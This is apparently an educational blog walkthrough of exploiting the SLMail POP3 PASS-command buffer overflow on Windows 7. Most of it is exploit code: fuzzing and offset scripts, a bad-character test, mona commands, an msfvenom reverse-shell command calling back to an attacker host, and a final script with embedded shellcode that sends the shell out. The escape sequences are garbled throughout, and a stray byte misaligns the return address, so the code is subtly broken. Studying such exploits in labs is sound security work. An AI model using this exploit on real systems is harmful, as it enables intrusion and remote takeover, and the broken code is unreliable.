Unraveling the SLMail POP3 Buffer Overflow Vulnerability
Written on
Chapter 1: Introduction to Buffer Overflow Vulnerabilities
In the complex realm of cybersecurity, vulnerabilities pose ongoing risks to system integrity and data safety. A notable instance is the SLMail POP3 buffer overflow vulnerability, which illustrates the threats posed by unaddressed software flaws. This discussion aims to provide insight into this specific vulnerability.
The SLMail POP3 buffer overflow highlights a significant vulnerability within the SLMail email server, enabling attackers to exploit its POP3 service using maliciously crafted payloads. This scenario exemplifies the widespread danger associated with buffer overflow vulnerabilities, where attackers take advantage of software weaknesses to overwrite critical memory regions and execute arbitrary code.
Buffer overflow occurs when a program attempts to write more data to a buffer than it can accommodate. This can lead to memory corruption, potential crashes, or even allow attackers to execute harmful code. It is a prevalent security issue, particularly in applications written in languages such as C or C++.
Requirements:
- Attacker machine: OS - Kali Linux | Application - Netcat
- Victim machine: OS - Windows 7 (32 bit) | Applications - SLMail, Immunity Debugger | Service - POP3 | Ensure Windows Defender and Firewall are disabled
Chapter 2: Exploitation Process
Fuzzing Technique
Fuzzing involves sending malformed data to application inputs and observing for unexpected behavior or crashes. Such anomalies can indicate inadequate input filtering, potentially revealing exploitable vulnerabilities.
The buffer overflow in question targets the POP3 PASS command used during user authentication. Our first step is to test the PASS parameter for susceptibility to buffer overflow. We will utilize a script that generates strings ranging from 100 to 3500 bytes, sending these (fuzzing) to the PASS parameter via a socket connection to identify any crashes.
#!/usr/bin/python
import socket
buffer = ["A"]
counter = 100
while len(buffer) <= 30:
buffer.append("A" * counter)
counter += 200
for string in buffer:
print("Fuzzing PASS with %s bytes" % len(string))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('<ip-target>', 110))
s.recv(1024)
s.send(str.encode('USER testrn'))
s.recv(1024)
s.send(str.encode('PASS ' + string + 'rn'))
s.send(str.encode('QUITrn'))
s.close()
> Be sure to modify the IP address as needed. Launch the SLMail service as an administrator and start the POP3 server.
Next, open Immunity Debugger, navigate to File > Attach > SLMail, and click the Run button.
Now, execute the modified fuzzing Python script to check for crashes.
Upon reaching 2900 bytes, we see a crash, with the debugger revealing that the EIP register is overwritten with the hexadecimal “41414141” (which translates to “AAAA”). This confirms the application's vulnerability to a buffer overflow.
Finding the EIP Offset
Once we identify the vulnerable parameter, we proceed to find the EIP offset. We will use the pattern_create.rb tool located in the /usr/share/metasploit-framework/tools/exploit/ directory with the following command:
./pattern_create.rb -l 2900
This command generates a 2900-byte pattern that we will send to our application using the subsequent Python script:
#!/usr/bin/python
import socket
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ab5Ab6Ab7Ab8Ab9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9"
print("Fuzzing PASS with %s bytes" % len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('<ip-target>', 110))
s.recv(1024)
s.send(str.encode('USER testrn'))
s.recv(1024)
s.send(str.encode('PASS ' + buffer + 'rn'))
s.send(str.encode('QUITrn'))
s.close()
After executing the script, check if SLMail and Immunity Debugger are operational, then run the Python script to observe the outcome.
In this case, the EIP register displays “39694438,” which will be employed to locate the precise byte offset.
Next, copy the EIP address and use the pattern_offset.rb tool to find its offset:
../pattern_offset.rb -l 2900 -q 39694438
This process reveals that the EIP offset is at byte 2606.
Identifying Bad Characters
Before searching for a space to execute shellcode, it’s crucial to check for bad characters. Certain characters, like the null byte (0x00), should be excluded from your buffer, return address, or shellcode as they can disrupt execution.
To identify bad characters, run the following Python script:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
# Create a variable to hold all ASCII characters
badchars = (
"x01x02x03x04x05x06x07x08x09x0bx0cx0dx0ex0fx10"
"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"
"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"
"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"
"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"
"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"
"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"
"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"
"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff")
# Create a buffer of 2606 As, 4 Bs and the ASCII characters
buffer = "A" * 2606 + "B" * 4 + badchars
try:
print("nSending buffer...")
s.connect(('192.168.1.12', 110))
data = s.recv(1024)
s.send(b"USER testn") # Ensure sending bytes
data = s.recv(1024)
s.send(b"PASS " + buffer.encode() + b"n") # Ensure sending bytes and newline character
print("nSent Done")
except socket.timeout:
print("Could not connect!")
Right-click on the ESP address and choose "Follow in Dump" to search for bad characters.
In the hex dump, ‘A’ is represented by 41 and ‘B’ by 42. We populated memory with the bad characters from the script to identify issues. We found that characters from x01 to x09 worked fine, but x0a caused problems. Hence, we mark x0a as a bad character and remove it from the script.
We repeat this process to check for more bad characters, ultimately concluding that x00, x0a, and x0d are problematic.
Control Flow Manipulation
Identifying a return address with a JMP ESP instruction is vital. This allows the execution flow to redirect to the address in the ESP register. By pinpointing a reliable address in memory that has a JMP ESP instruction, we can effectively execute our payload.
Utilizing the msf-nasm_shell tool, we can find the hexadecimal representation of the JMP ESP instruction.
msf-nasm_shell > JMP ESP
The output indicates that FFE4 is our memory location value for the jump, which we will use after identifying the necessary DLL.
To display all loaded DLLs, execute the command below and choose a DLL where Rebase, SafeSEH, ASLR, and NXCompat are all set to false:
!mona modules
In the example above, the SLMFC.dll module has all the essential memory protection flags disabled, allowing us to analyze and exploit it confidently.
Next, we find the JMP ESP address in SLMFC.DLL using the command below, selecting the first address from the output:
!mona find -s "xffxe4" -m slmfc.dll
The first address identified is 0x5f4a358f.
Generating Shellcode with Metasploit
In this phase, we will create an inline reverse shell payload while avoiding the previously identified bad characters.
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker-ip> LPORT=4444 -e x86/shikata_ga_nai -b 'x00x0ax0d' -f c -a x86 --platform windows
This command generates a Windows reverse TCP shell payload, specifying the local host IP and port for the reverse connection. The x86/shikata_ga_nai encoder obfuscates the payload, avoiding null bytes, line feeds, and carriage returns, with the output formatted in C for x86 architecture targeting Windows.
We then integrate the shellcode into our Python script with necessary modifications. To ensure our shellcode remains intact amidst potential decoder overwrites, we prepend approximately 20 NOPs (0x90) to our shellcode in the buffer variable.
Here’s the updated script:
#!/usr/bin/python
import socket
shellcode = (
b"xb8x0cxd9xd7xb3xd9xeexd9x74x24xf4x5ax29xc9"
b"xb1x52x31x42x12x83xeaxfcx03x4exd7x35x46xb2"
b"x0fx3bxa9x4axd0x5cx23xafxe1x5cx57xa4x52x6d"
b"x13xe8x5ex06x71x18xd4x6ax5ex2fx5dxc0xb8x1e"
b"x5ex79xf8x01xdcx80x2dxe1xddx4ax20xe0x1axb6"
b"xc9xb0xf3xbcx7cx24x77x88xbcxcfxcbx1cxc5x2c"
b"x9bx1fxe4xe3x97x79x26x02x7bxf2x6fx1cx98x3f"
b"x39x97x6axcbxb8x71xa3x34x16xbcx0bxc7x66xf9"
b"xacx38x1dxf3xcexc5x26xc0xadx11xa2xd2x16xd1"
b"x14x3exa6x36xc2xb5xa4xf3x80x91xa8x02x44xaa"
b"xd5x8fx6bx7cx5cxcbx4fx58x04x8fxeexf9xe0x7e"
b"x0ex19x4bxdexaax52x66x0bxc7x39xefxf8xeaxc1"
b"xefx96x7dxb2xddx39xd6x5cx6exb1xf0x9bx91xe8"
b"x45x33x6cx13xb6x1axabx47xe6x34x1axe8x6dxc4"
b"xa3x3dx21x94x0bxeex82x44xecx5ex6bx8exe3x81"
b"x8bxb1x29xaax26x48xbax15x1ex53x2bxfex5dx53"
b"x5axa2xe8xb5x36x4axbdx6exafxf3xe4xe4x4exfb"
b"x32x81x51x77xb1x76x1fx70xbcx64xc8x70x8bxd6"
b"x5fx8ex21x7ex03x1dxaex7ex4ax3ex79x29x1bxf0"
b"x70xbfxb1xabx2axddx4bx2dx14x65x90x8ex9bx64"
b"x55xaaxbfx76xa3x33x84x22x7bx62x52x9cx3dxdc"
b"x14x76x94xb3xfex1ex61xf8xc0x58x6exd5xb6x84"
b"xdfx80x8exbbxd0x44x07xc4x0cxf5xe8x1fx95x05"
b"xa3x3dxbcx8dx6axd4xfcxd3x8cx03xc2xedx0exa1"
b"xbbx09x0exc0xbex56x88x39xb3xc7x7dx3dx60xe7"
b"x57")
fuzzingcode = b"A" * 2606
EIPAddress = b"x8fx35x4ax5f"
breathroom = b"x90" * 16
buffer = fuzzingcode + b"B" + EIPAddress + breathroom + shellcode
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('192.168.1.12', 110))
data = s.recv(1024)
s.send(b'USER usernamern')
data = s.recv(1024)
s.send(b'PASS ' + buffer + b'rn')
s.close()
Obtaining a Shell
Start a netcat listener on port 4444 and ensure the POP3 service is operational. Then execute the final exploit script to establish a reverse shell connection.
Through this process, we successfully exploited the buffer overflow vulnerability, gaining control over the targeted machine.
Conclusion
This article illustrated the steps involved in exploiting a buffer overflow vulnerability. We began by fuzzing application inputs to identify weak points. Following the discovery of the vulnerable parameter, we crafted a payload with the Metasploit Framework’s msfvenom tool, ensuring it could bypass common defenses. By carefully structuring the payload and including NOP sleds to protect against decoder issues, we executed the final exploit, achieving control over the target system. This case underscores the necessity for thorough vulnerability assessment and secure coding practices to maintain resilient software defenses.